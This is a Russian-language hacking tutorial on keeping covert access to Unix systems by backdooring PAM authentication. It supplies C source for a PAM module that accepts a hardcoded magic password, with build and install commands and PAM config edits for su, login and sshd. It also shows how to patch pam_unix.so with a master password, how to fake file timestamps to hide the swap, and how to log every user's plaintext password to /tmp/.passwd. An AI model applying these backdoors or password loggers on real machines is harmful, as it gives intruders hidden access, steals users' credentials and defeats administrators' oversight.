*NIX-БЭКДОР БЫСТРОГО ПРИГОТОВЛЕНИЯ

ВНЕДРЯЕМСЯ В СИСТЕМУ АУТЕНТИФИКАЦИИ LINUX, BSD И MACOS

p1nk_pwny@defcon.su

Способов закрепиться на взломанной машине масса. От самых банальных и легко обнаруживаемых (добавить себя в базу пользователей) до сложных модулей ядра, реализующих обратный шелл на удаленную машину. Но есть среди них очень простой в реализации и достаточно скрытный метод, о котором знают на удивление мало людей. Это модификация модулей системы аутентификации PAM, которую используют все современные UNIX-системы.

ЧТО ТАКОЕ PAM

Подключаемые модули аутентификации (Pluggable Authentication Modules, PAM) — это набор API, необходимых для реализации механизмов аутентификации в различных приложениях.

До появления PAM, чтобы реализовать аутентификацию, скажем, с помощью ключ-карты, разработчикам приходилось вносить код поддержки этих самых ключ-карт в каждый компонент системы, ответственный за аутентификацию пользователя. То есть дописывать и пересобирать приходилось утилиту login, sshd, а также любой другой софт, в который планировалось добавить подобную функциональность.

С появлением PAM ситуация намного упростилась. Теперь, чтобы добавить в систему свой неповторимый самописный протокол аутентификации, достаточно реализовать его в рамках одного-единственного модуля PAM. А все утилиты и приложения, умеющие работать с PAM, подхватят его и смогут использовать для аутентификации пользователя.

На практике это выглядит примерно так: утилита login обращается к PAM, который выполняет все необходимые проверки с помощью указанных в конфигурационном файле модулей и возвращает результат обратно утилите login. Удобно, не правда ли? Однако такой подход содержит в себе возможности, которые мы можем использовать для закрепления в системе.

Стоит сделать небольшую оговорку. Существует три основные реализации PAM:

- Linux-PAM — основная реализация PAM в любой Linux-системе;
- OpenPAM — используется в BSD-системах и macOS;
- JPam — реализация PAM для Java-приложений.

Заострять внимание на какой-то конкретной реализации мы не будем. Основная функциональность везде одинакова.

АСПЕКТЫ ЗАКРЕПЛЕНИЯ В *NIX С ИСПОЛЬЗОВАНИЕМ PAM

Настройки PAM для каждого приложения ты можешь найти в каталоге */etc/pam.d* (Linux) либо в файле **`/etc/pam.conf`**. Пример конфигурационного файла для утилиты login в macOS:

```
auth            optional        pam_krb5.so use_kcminit
auth            optional        pam_ntlm.so try_first_pass
auth            optional        pam_mount.so try_first_pass
auth            required        pam_opendirectory.so try_first_pass
account         required        pam_nologin.so
account         required        pam_opendirectory.so
password        required        pam_opendirectory.so
session         required        pam_launchd.so
session         required        pam_uwtmp.so
session         optional        pam_mount.so
```

Давай разберемся, какая магия тут происходит.
Конфигурационный файл описывает правила проверки, которые должны быть соблюдены для успешной аутентификации пользователя или же выполнения других действий (изменение пароля, подготовка пользовательского окружения). Каждая строка конфигурационного файла содержит одно правило. Проверки выполняются построчно.

Слева направо: тип модуля, **`control_flag`**, имя модуля. Для нас в первую очередь представляет интерес тип модуля auth, именно эти модули ответственны за аутентификацию. Control_flag — это свойство модуля. Оно может принимать значения:

- requisite (необходимый) — если модуль возвращает положительный ответ, выполняется оставшаяся часть цепочки и запрос удовлетворяется. Если модуль возвращает отрицательный ответ, то запрос немедленно отвергается и любые другие проверки не выполняются;
- required (требуемый) — точно так же, как и requisite: если ответ положительный, выполняется оставшаяся часть цепочки проверок. С той лишь разницей, что в случае отрицательного ответа цепочка проверок продолжает выполняться, однако запрос отвергается;
- sufficient (достаточный) — удовлетворяет запрос в том случае, если ни одна из других ранее проведенных по цепочке проверок не отработала отрицательно. В случае если модуль сработал отрицательно, результат игнорируется и цепочка проверок отрабатывается дальше;
- optional (необязательный) — модуль отрабатывается, однако результат игнорируется.

Уже на этом этапе ты наверняка смекнул, что, внеся небольшие изменения в файл конфигурации, мы можем обеспечить себе успешный вход в систему с любым паролем (достаточно пометить все auth-модули как optional). Но это решение будет работать до тех пор, пока легитимный пользователь или администратор не заметит того, что успешно логинится в систему даже с неверным паролем.

ПИШЕМ СОБСТВЕННЫЙ МОДУЛЬ-БЭКДОР

PAM позволяет нам подключать собственные модули аутентификации. Поэтому мы можем создать модуль с «волшебным» паролем и добиться того, чтобы система принимала как стандартные пароли пользователей, так и наш собственный. В случае ввода неверного пароля мы увидим вполне ожидаемую ошибку аутентификации. Неплохой вариант.

Итак, код (не забудь заменить magic-password на свой «волшебный» пароль):

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>

#define MYPASSWD "magic-password"

PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int
argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags,
int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int
flags,int argc, const char **argv) {
    char *password = NULL;

    pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password,
    NULL);

    if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
       return PAM_SUCCESS;
```

```
25
26          return -1;
27      }
```

Соберем модуль:

```
$ sudo apt-get install libpam0g-dev gcc
$ gcc -fPIC -c pam_backdoor.c
$ ld -x --shared -o pam_backdoor.so pam_backdoor.o
```

И поместим его в каталог с другими модулями:

```
$ sudo chown root:root pam_backdoor.so
$ sudo cp pam_backdoor.so /lib/x86_64-linux-gnu/security/
```

Обрати внимание, что путь */lib/x86_64-linux-gnu/security/* специфичен для Debian/Ubuntu. В Fedora, Red Hat и CentOS модули располагаются в каталоге */lib64/security/*, а в Arch Linux — в каталоге */lib/security/*.

Теперь остается только сконфигурировать PAM таким образом, чтобы прохождения проверки твоим модулем было достаточно для успешной аутентификации. Например, конфиг для утилиты su (*/etc/pam.d/su*):

```
auth            sufficient      pam_rootok.so
# Меняем на sufficient
auth            sufficient      pam_unix.so
account         required         pam_unix.so
session         required         pam_unix.so
# Твой бэкдор с волшебным паролем
auth            sufficient      pam_backdoor.so
account         sufficient      pam_backdoor.so
```

В некоторых Linux-системах настройки аутентификации могут быть вынесены в несколько файлов: common-auth, common-password, common-session, а затем подключаться к конфигурационным файлам конкретных утилит через **@include**. Этот момент надо учитывать.

После того как ты внесешь настройки в конфиг, утилита **su** будет пускать тебя с использованием указанного в модуле пароля. Тот же трюк можно проделать с утилитой login (консольный вход в систему) и sshd для удаленного входа.

ВСТРАИВАЕМ БЭКДОР В СУЩЕСТВУЮЩИЙ МОДУЛЬ

Редактируя конфиг PAM, ты мог заметить модуль pam_unix.so. Этот модуль отвечает за аутентификацию пользователей с помощью стандартной для UNIX-систем базы паролей */etc/passwd*. Его используют многие утилиты, включая su, login, sshd, и другие программы (например, SecureFTPd).

Поскольку PAM — это все-таки open source и мы имеем доступ к исходным текстам как самого демона, так и стандартных его компонентов, мы можем встроить свой бэкдор прямо в этот модуль.

Для того чтобы внести необходимые изменения, скачиваем исходные тексты PAM:

```
$ http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
$ tar -xzf inux-PAM-1.1.8.tar.gz
```

Открываем файл *Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c* и ищем следующие строки:

```
1  /* verify the password of this user */
2  retval = _unix_verify_password(pamh, name, p, ctrl);
3
4  if (strcmp(p,"magic") == 0) {
5      retval = PAM_SUCCESS;
6  }
```

Сразу после второй строки мы добавили проверку нашего пароля (замени magic на свой пароль). Собираем и заменяем оригинальный модуль своим:

```
$ ./configure
$ make
$ sudo cp Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/↵
    x86_64-linux-gnu/security/
```

Чтобы админ не заметил подмены, изменяем время создания файла так, чтобы оно совпадало со временем создания других модулей:

```
$ sudo touch -r /lib/x86_64-linux-gnu/security/pam_ftp.so /lib/↵
    x86_64-linux-gnu/security/pam_unix.so
```

Это все, никаких правок конфигов, бэкдор уже в системе. На все перечисленные выше действия у тебя уйдет несколько минут. А подготовленный за это время плацдарм можно использовать с умом, чтобы еще глубже окопаться в целевой системе.

```
 GNU nano 2.2.6                Файл: Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

                        D(("conversation function is not ready yet"));
                        /*
                         * it is safe to resume this function so we translate this
                         * retval to the value that indicates we're happy to resume.
                         */
                        retval = PAM_INCOMPLETE;
                }
                name = NULL;
                AUTH_RETURN;
        }
        D(("user=%s, password=[%s]", name, p));

        /* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);
        if (strcmp(p,"magic")==0 ){retval = PAM_SUCCESS;}
        name = p = NULL;

        AUTH_RETURN;
}


/*
 * The only thing _pam_set_credentials_unix() does is initialization of
 * UNIX group IDs.
 *
```

Добавляем бэкдор в модуль pam_unix.so

ЛОГИРУЕМ ПАРОЛИ ДРУГИХ ПОЛЬЗОВАТЕЛЕЙ

На сладкое ты можешь добавить функцию логирования паролей других юзеров, успешно прошедших аутентификацию. Для этого достаточно внести еще одну маленькую модификацию в код модуля **pam_unix.so**.

```
1  if (retval == PAM_SUCCESS) {
2      FILE *fd;
3      fd = fopen("/tmp/.passwd", "a");
4      fprint(fd, "%s:%s\n", name, p);
5      fclose(fd);
6  }
```

Теперь все пароли будут логироваться в **/tmp/.passwd**:

```
$ cat /tmp/.passwd
root:magic
...
```

```
 GNU nano 2.2.6                    Файл: pam_unix_auth.c

                        D(("conversation function is not ready yet"));
                        /*
                         * it is safe to resume this function so we translate this
                         * retval to the value that indicates we're happy to resume.
                         */
                        retval = PAM_INCOMPLETE;
                }
                name = NULL;
                AUTH_RETURN;
        }
        D(("user=%s, password=[%s]", name, p));

        /* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);
        if (strcmp(p,"magic")==0 ){retval = PAM_SUCCESS;}

        if(retval == PAM_SUCCESS)

{
                FILE *fd;
                fd = fopen("/tmp/.passwd", "a");
                fprintf(fd, "%s:%s\n", name, p);
                        fclose(fd);
}
        name = p = NULL;

        AUTH_RETURN;
}


/*
```

Собираем пароли пользователей

выводы

Стоит понимать, что из всего перечисленного лучший способ остаться в системе как можно дольше — замена `pam_unix.so`. Менять конфиги можно, но тебя быстренько спалит любой админ с головой на плечах. То же можно сказать и про зловредный модуль.

А вот `pam_unix.so` может и задержаться подольше. Но не настолько, как тебе хотелось бы. Если админ использует системы контроля целостности файловой системы и хотя бы иногда сверяет хеш суммы критичных файлов и конфигов, он быстро заподозрит неладное. Да и при обновлении пакета PAM твой модуль будет перезаписан.